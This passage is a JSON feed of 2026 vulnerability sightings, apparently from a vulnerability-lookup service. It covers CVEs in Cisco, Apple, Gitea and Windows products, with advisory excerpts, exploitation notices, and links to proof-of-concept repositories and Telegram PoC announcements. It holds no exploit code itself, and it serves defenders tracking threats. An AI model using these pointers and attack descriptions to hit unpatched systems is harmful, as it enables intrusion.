"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/cve0day/423", "content": "CVE-2026-20182\n\nMay 2026: This security advisory provides the details and fix information for a vulnerability that was discovered and fixed after the  was disclosed in February 2026. This new advisory is for a new vulnerability in the control connection handshaking. The  section of this advisory includes Show Control Connections guidance to help with system checks. \n\nA vulnerability in the peering authentication in Cisco Catalyst SD-WAN Controller, formerly SD-WAN vSmart, and Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, could allow an unauthenticated, remote attacker to bypass authentication and obtain administrative privileges on an affected system.\nThis vulnerability exists because the peering authentication mechanism in an affected system is not working properly. An attacker could exploit this vulnerability by sending crafted requests to the affected syst...", "creation_timestamp": "2026-08-27T15:00:07.047665Z"}, {"uuid": "188f4851-ff17-4859-b7a7-77e7184efa41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20687", "type": "seen", "source": "https://t.me/cve0day/384", "content": "CVE-2026-20687\n\nA use after free issue was addressed with improved memory management. This issue is fixed in iOS 18.7.7 and iPadOS 18.7.7, iOS 26.4 and iPadOS 26.4, macOS Sequoia 15.7.5, macOS Tahoe 26.4, tvOS 26.4, watchOS 26.4. An app may be able to cause unexpected system termination or write kernel memory.\n\nGitHub Link:\nhttps://github.com/enfilade-labs/CVE-2026-20687-AppleJPEGDriver-UAF", "creation_timestamp": "2026-08-27T15:00:08.133414Z"}, {"uuid": "21dc5871-79c3-4324-b991-92b5d1cf2694", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://t.me/cve0day/354", "content": "CVE-2026-20131\n\nA vulnerability in the web-based management interface of Cisco Secure Firewall Management Center (FMC) Software could allow an unauthenticated, remote attacker to execute arbitrary Java code as root on an affected device.\n This vulnerability is due to insecure deserialization of a user-supplied Java byte stream. An attacker could exploit this vulnerability by sending a crafted serialized Java object to the web-based management interface of an affected device. A successful exploit could allow the attacker to execute arbitrary code on the device and elevate privileges to root.\n Note: If the FMC management interface does not have public internet access, the attack surface that is associated with this vulnerability is reduced.\n\nGitHub Link:\nhttps://github.com/Hassan-Pouladi/Cisco-FMC-honeypot", "creation_timestamp": "2026-08-27T15:00:09.201170Z"}, {"uuid": "a20ceb29-19ea-4aa8-a1e5-09bd83c1098d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://t.me/cve0day/293", "content": "CVE-2026-20643\n\nGitHub Link:\nhttps://github.com/zeroxjf/WebKit-NavigationAPI-SOP-Bypass", "creation_timestamp": "2026-08-27T15:00:11.776144Z"}, {"uuid": "99d4ad0d-ee84-4c15-b8c2-4a104a15490b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://t.me/cve0day/247", "content": "CVE-2026-20045\n\nA vulnerability in Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), Cisco Unified Communications Manager IM & Presence Service (Unified CM IM&P), Cisco Unity Connection, and Cisco Webex Calling Dedicated Instance could allow an unauthenticated, remote attacker to execute arbitrary commands on the underlying operating system of an affected device. \n\nThis vulnerability is due to improper validation of user-supplied input in HTTP requests. An attacker could exploit this vulnerability by sending a sequence of crafted HTTP requests to the web-based management interface of an affected device. A successful exploit could allow the attacker to obtain user-level access to the underlying operating system and then elevate privileges to root.\nNote: Cisco has assigned this ...", "creation_timestamp": "2026-08-27T15:00:12.963332Z"}, {"uuid": "3d38954f-42ab-40ac-a4cd-bec4a4b48702", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20779", "type": "published-proof-of-concept", "source": "https://github.com/go-gitea/gitea/security/advisories/GHSA-gx3v-q759-g323", "content": "", "creation_timestamp": "2026-07-21T22:35:02.868621Z"}, {"uuid": "6a04099e-95c1-4e5a-a6e5-4429e1dc8fd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20896", "type": "published-proof-of-concept", "source": "https://github.com/go-gitea/gitea/security/advisories/GHSA-f75j-4cw6-rmx4", "content": "", "creation_timestamp": "2026-07-21T22:36:58.280570Z"}, {"uuid": "48a9c1d6-43df-4058-964d-e94b00a48ca9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "published-proof-of-concept", "source": "Telegram/QkQGfXHJmhlUJ4Ok72ZW64yVSosDBVIcN9uDsRFq_Gn2BWo", "content": "", "creation_timestamp": "2026-07-22T00:00:03.965954Z"}, {"uuid": "b1e01fdc-6424-4049-b8dd-fcce08ebcddf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "published-proof-of-concept", "source": "Telegram/hIPenhe-vO-uZm0FZ9_PgTXttBSRhFyvx9XOlO5pcs6kI4c", "content": "", "creation_timestamp": "2026-07-22T00:00:03.594838Z"}, {"uuid": "51f7c957-5b40-413d-bd9f-aab1694933dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20833", "type": "published-proof-of-concept", "source": "Telegram/AcOmRRro0Ie3tE3ej3Y7QKM1mXFx7TgmD9WXozzOdGilEl8", "content": "", "creation_timestamp": "2026-07-22T00:00:03.699923Z"}, {"uuid": "2db3b9d8-b2fc-4da9-ae38-376d9985881e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "Telegram/GI7OHSoaP1xIHuGqTAwHNKDcr8KU1Ad2nEwl-UcBa-gQJw", "content": "", "creation_timestamp": "2026-07-22T00:00:21.506484Z"}, {"uuid": "e3a3d31c-c9fe-466b-bb0f-e1f1023bb4ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2006", "type": "published-proof-of-concept", "source": "Telegram/C68vAiOvcgG9lHVb6qKEs_n08CTf7FrBhGjNIOFUmmQPqw", "content": "", "creation_timestamp": "2026-07-22T00:00:21.415749Z"}, {"uuid": "821157c7-5890-4b04-bb85-f3fe1acc8059", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/3135", "content": "CVE-2026-20841 - Windows notepad.exe RCE\n*\nPoC", "creation_timestamp": "2026-07-22T00:00:27.348579Z"}, {"uuid": "71a97835-0b3f-41ac-af98-ff1d2cb20d1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://t.me/proxy_bar/3185", "content": "CVE-2026-20127\n*\nCisco-SD-WAN-Preauth-RCE\n\nwar", "creation_timestamp": "2026-07-22T00:00:27.570189Z"}, {"uuid": "249fae45-dc39-453a-b147-0d217cdc2996", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/3190", "content": "UPD to https://t.me/proxy_bar/3185 CVE-2026-20127\n *\n\u0412 Cisco SD-WAN honeypot \u043d\u0430\u0447\u0430\u043b\u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u043e \u043f\u0440\u0438\u043b\u0435\u0442\u0430\u0442\u044c \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u044b.\n\u041c\u0430\u0445\u043e\u0432\u0438\u0447\u043e\u043a \u043a\u0440\u0443\u0442\u0438\u0442\u0441\u044f.", "creation_timestamp": "2026-07-22T00:00:27.971150Z"}, {"uuid": "89adf6da-2dc2-47a1-a520-3a9ac2f9cabd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://t.me/proxy_bar/3156", "content": "\u041d\u0430\u0448\u0438 \u0441\u043d\u043e\u0432\u0430 \u0432 \u0433\u043e\u0440\u043e\u0434\u0435 \ud83c\udff4\u200d\u2620\ufe0f\n*\nCVE-2026-20817 - Windows Error Reporting (WER) ALPC Privilege Escalation\n*\nlets roll", "creation_timestamp": "2026-07-22T00:00:27.805002Z"}, {"uuid": "eaab1264-5688-46dd-802c-7ab110ba3fc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/9753", "content": "Cisco Fixes Actively Exploited Zero-Day CVE-2026-20045 in Unified CM and Webex \u2013 thehackernews.com\n\nThu, 22 Jan 2026 12:06:00", "creation_timestamp": "2026-07-22T00:00:31.167808Z"}, {"uuid": "7b605c5b-5135-4e7d-9110-7946c296f78d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://t.me/infosec_ita_notizie/3000", "content": "\u2728 CVE-2026-20245 e CVE-2026-41089: zero-day Cisco SD-WAN e RCE su Netlogon sotto attacco attivo\nvia, Spcnet.it\n\n\ud83d\udd17 Leggi di pi\u00f9: https://spcnet.it/cve-2026-20245-e-cve-2026-41089-zero-day-cisco-sd-wan-e-rce-su-netlogon-sotto-attacco-attivo/", "creation_timestamp": "2026-07-22T00:00:31.960896Z"}, {"uuid": "5ba77e1c-16a0-4b6b-adaa-63ebd6e0d178", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20310", "type": "seen", "source": "Telegram/EP2u8OGan0flSGLl45h1b-LiiKVRCNQN1i62iKzOsOD7LIQ", "content": "", "creation_timestamp": "2026-08-27T16:00:05.017166Z"}, {"uuid": "cea325b3-822d-4cdf-968c-9569dd6d6fe2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20312", "type": "seen", "source": "Telegram/EP2u8OGan0flSGLl45h1b-LiiKVRCNQN1i62iKzOsOD7LIQ", "content": "", "creation_timestamp": "2026-08-27T16:00:04.747565Z"}, {"uuid": "de3527db-0d8f-48db-959b-829717513a68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20303", "type": "seen", "source": "Telegram/EP2u8OGan0flSGLl45h1b-LiiKVRCNQN1i62iKzOsOD7LIQ", "content": "", "creation_timestamp": "2026-08-27T16:00:04.310898Z"}, {"uuid": "7071857a-7d3c-46b6-b11a-ed530d655e0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20313", "type": "seen", "source": "Telegram/EP2u8OGan0flSGLl45h1b-LiiKVRCNQN1i62iKzOsOD7LIQ", "content": "", "creation_timestamp": "2026-08-27T16:00:04.400415Z"}, {"uuid": "bd8c6766-ad1e-4d22-8944-705daa93ae16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20304", "type": "seen", "source": "Telegram/EP2u8OGan0flSGLl45h1b-LiiKVRCNQN1i62iKzOsOD7LIQ", "content": "", "creation_timestamp": "2026-08-27T16:00:04.599486Z"}, {"uuid": "3cb55d46-1dd4-41f5-a099-47363f0d6fb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mr7kcpcp752w", "content": "Daily IT Security Digest \u2014 2026-07-22\nhttps://infosec.exchange/@offseq/116958208559685427\n\n## 3. Cisco Catalyst SD-WAN Manager Zero-Day (CVE-2026-20262) Exploited in the Wild\nA critical zero-day vulnerability in Cisco Catalyst SD-WAN Manager allows attackers with write access to escalate privileges", "creation_timestamp": "2026-07-22T05:04:02.339339Z"}, {"uuid": "1717ff20-7e5a-49d4-bfc6-45e1b6d0c799", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20779", "type": "seen", "source": "https://gist.github.com/alon710/858227db9dfcc3f8ab3390f0832100c1", "content": "# CVE-2026-20779: CVE-2026-20779: TOTP Single-Use Enforcement Defect in Gitea\n\n> **CVSS Score:** 7.1\n> **Published:** 2026-07-21\n> **Full Report:** https://cvereports.com/reports/CVE-2026-20779\n\n## Summary\nGitea versions from 1.5.0 before 1.26.3 contain a security vulnerability in their multi-factor authentication (MFA) logic. This vulnerability allows valid TOTP codes to be accepted multiple times across web authentication flows and the Basic Auth X-Gitea-OTP header path. Due to a TOCTOU race condition and a lack of state tracking in programmatic auth pathways, attackers with valid credentials can replay single-use OTP codes.\n\n## TL;DR\nA high-severity authentication bypass in Gitea allows attackers to replay TOTP codes across web and API paths due to database race conditions and missing state tracking.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-294 (Bypass of Authentication Mechanism Using Replay)\n- **Attack Vector**: Network (AV:N)\n- **CVSS v3.1 Score**: 7.1 (High)\n- **EPSS Score**: 0.00481 (Percentile: 38.44%)\n- **Exploit Status**: Proof of Concept (PoC) available\n- **CISA KEV Status**: Not Listed\n- **Affected Versions**: v1.5.0 to < v1.26.3\n\n## Affected Systems\n\n- Gitea Open Source Git Server\n\n## Mitigation\n\n- Upgrade Gitea to version 1.26.3 or higher immediately.\n- Restrict or disable password-based basic authentication over HTTP/HTTPS in favor of SSH keys.\n- Implement rate-limiting on authentication endpoints (/user/two_factor and API endpoints) at the reverse proxy layer.\n\n**Remediation Steps:**\n1. Step 1: Identify all running Gitea instances and verify their versions.\n2. Step 2: Back up the Gitea database and configuration files (app.ini).\n3. Step 3: Deploy the updated Gitea binary or container image (v1.26.3 or later).\n4. Step 4: Verify the TOTP single-use policy by attempting a replay of a used OTP on the user/two_factor interface.\n\n## References\n\n- [Gitea v1.26.3 Release Tag](https://github.com/go-gitea/gitea/releases/tag/v1.26.3)\n- [Gitea v1.26.3 and v1.26.4 Security Release Blog](https://blog.gitea.com/release-of-1.26.3-and-1.26.4/)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-20779) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-22T10:31:09.924407Z"}, {"uuid": "08171585-63d3-4107-9806-b59c95506f2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "Telegram/CfRvWZv5RrUF8689qv7kg16a3mW0159b7rTcNr-wYLT-sQY", "content": "", "creation_timestamp": "2026-08-28T13:00:05.240243Z"}, {"uuid": "500497fd-ed8c-4687-bb9e-5bb1a071e8da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "Telegram/CfRvWZv5RrUF8689qv7kg16a3mW0159b7rTcNr-wYLT-sQY", "content": "", "creation_timestamp": "2026-08-28T13:00:05.295289Z"}, {"uuid": "a400bc43-8296-4255-8c89-83ecce57a871", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20896", "type": "seen", "source": "https://bsky.app/profile/etairos-ai.bsky.social/post/3mraw36unbi2l", "content": "One HTTP header is all it takes: CVE-2026-20896, a critical auth bypass in Gitea Docker images, is under active exploitation. Full admin, no credentials. Patch now. #ThreatIntel #CyberSecurity\nhttps://threat-intelligence.redeyesecurity.com/blog/gitea-docker-auth-bypass-cve-2026-20896-exploited-2026", "creation_timestamp": "2026-07-22T18:07:14.781185Z"}, {"uuid": "55c4a9ca-ff50-4d4e-bc8f-58b15c0ab61d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-20359", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d93f6dd9-5d9d-4e7b-b235-770d49f5cd96", "content": "", "creation_timestamp": "2026-08-27T16:18:37.800654Z"}, {"uuid": "9f9bbc50-33ac-4c26-9e5a-b07490640c75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-20030", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d93f6dd9-5d9d-4e7b-b235-770d49f5cd96", "content": "", "creation_timestamp": "2026-08-27T16:18:37.800654Z"}, {"uuid": "fe9c121a-2658-4263-a549-7cbf04ceb34e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-20357", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d93f6dd9-5d9d-4e7b-b235-770d49f5cd96", "content": "", "creation_timestamp": "2026-08-27T16:18:37.800654Z"}, {"uuid": "5be1c0fc-da26-4d40-a62b-e9d5342248a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-20358", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d93f6dd9-5d9d-4e7b-b235-770d49f5cd96", "content": "", "creation_timestamp": "2026-08-27T16:18:37.800654Z"}, {"uuid": "da3a9e85-baaf-4f7f-ab54-7f1bb3b6c38b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20199", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mrcsxagkhl2e", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-20199](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/ci...\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-tevacert-rce-RMJVEym5 #Vulnerability #CVE #ZeroDay", "creation_timestamp": "2026-07-23T12:16:40.167762Z"}, {"uuid": "71eb2dca-e73a-435e-8017-8f3ecf4800cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20171", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mrcszvdsr52x", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-20171](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/ci...\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-bgp-iefab-3hb2pwtx #PatchManagement #Vulnerability #CVE", "creation_timestamp": "2026-07-23T12:18:09.298260Z"}, {"uuid": "f4ea3928-f5a7-4023-85a5-dca573fe9326", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20310", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/99903", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Cisco-CVE-2026-20303-More\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a HORKimhab\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-27 05:10:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-28T00:01:01.096899Z"}, {"uuid": "7339f4ca-d7de-40a7-b6f5-70bbc2624eca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20359", "type": "seen", "source": "https://social.circl.lu/users/circl/statuses/117168401417072496", "content": "Cisco Crosswork Security Hardening Release: August 2026 Summary\n CVE-2026-20359: Cisco Crosswork Security Hardening Release: August 2026CVE-2026-20030: Cisco Crosswork Security Hardening Release: August 2026CVE-2026-20357: Cisco Crosswork Security Hardening Release: August 2026CVE-2026-20358: Cisco Crosswork Security Hardening Release: August 2026 \n#cve #cisco #vulnerabilitymanagement #cybersecurity \n\ud83d\udd17 https://vulnerability.circl.lu/bundle/d93f6dd9-5d9d-4e7b-b235-770d49f5cd96", "creation_timestamp": "2026-08-27T16:25:23.522222Z"}, {"uuid": "5ed0703c-2a4f-48fa-acc5-d00d61554498", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20030", "type": "seen", "source": "https://social.circl.lu/users/circl/statuses/117168401417072496", "content": "Cisco Crosswork Security Hardening Release: August 2026 Summary\n CVE-2026-20359: Cisco Crosswork Security Hardening Release: August 2026CVE-2026-20030: Cisco Crosswork Security Hardening Release: August 2026CVE-2026-20357: Cisco Crosswork Security Hardening Release: August 2026CVE-2026-20358: Cisco Crosswork Security Hardening Release: August 2026 \n#cve #cisco #vulnerabilitymanagement #cybersecurity \n\ud83d\udd17 https://vulnerability.circl.lu/bundle/d93f6dd9-5d9d-4e7b-b235-770d49f5cd96", "creation_timestamp": "2026-08-27T16:25:23.565803Z"}, {"uuid": "b0252341-b7a2-4820-b353-997ba7a23bbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20312", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/99903", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Cisco-CVE-2026-20303-More\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a HORKimhab\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-27 05:10:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-28T00:01:01.145952Z"}, {"uuid": "2f391f9b-5236-4a0f-8c1f-d48564ea641d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20313", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/99903", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Cisco-CVE-2026-20303-More\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a HORKimhab\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-27 05:10:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-28T00:01:01.204605Z"}, {"uuid": "c157dbe5-bdf9-484e-8aeb-a1c002e9ea07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20303", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/99903", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Cisco-CVE-2026-20303-More\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a HORKimhab\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-27 05:10:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-28T00:01:01.257329Z"}, {"uuid": "4d88c215-d586-4c5d-b163-2bf65b2b6b53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20304", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/99903", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Cisco-CVE-2026-20303-More\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a HORKimhab\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-27 05:10:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-28T00:01:01.310003Z"}, {"uuid": "03ae0e68-3db7-40e9-8e71-b5021b9fec17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20357", "type": "seen", "source": "https://social.circl.lu/users/circl/statuses/117168401417072496", "content": "Cisco Crosswork Security Hardening Release: August 2026 Summary\n CVE-2026-20359: Cisco Crosswork Security Hardening Release: August 2026CVE-2026-20030: Cisco Crosswork Security Hardening Release: August 2026CVE-2026-20357: Cisco Crosswork Security Hardening Release: August 2026CVE-2026-20358: Cisco Crosswork Security Hardening 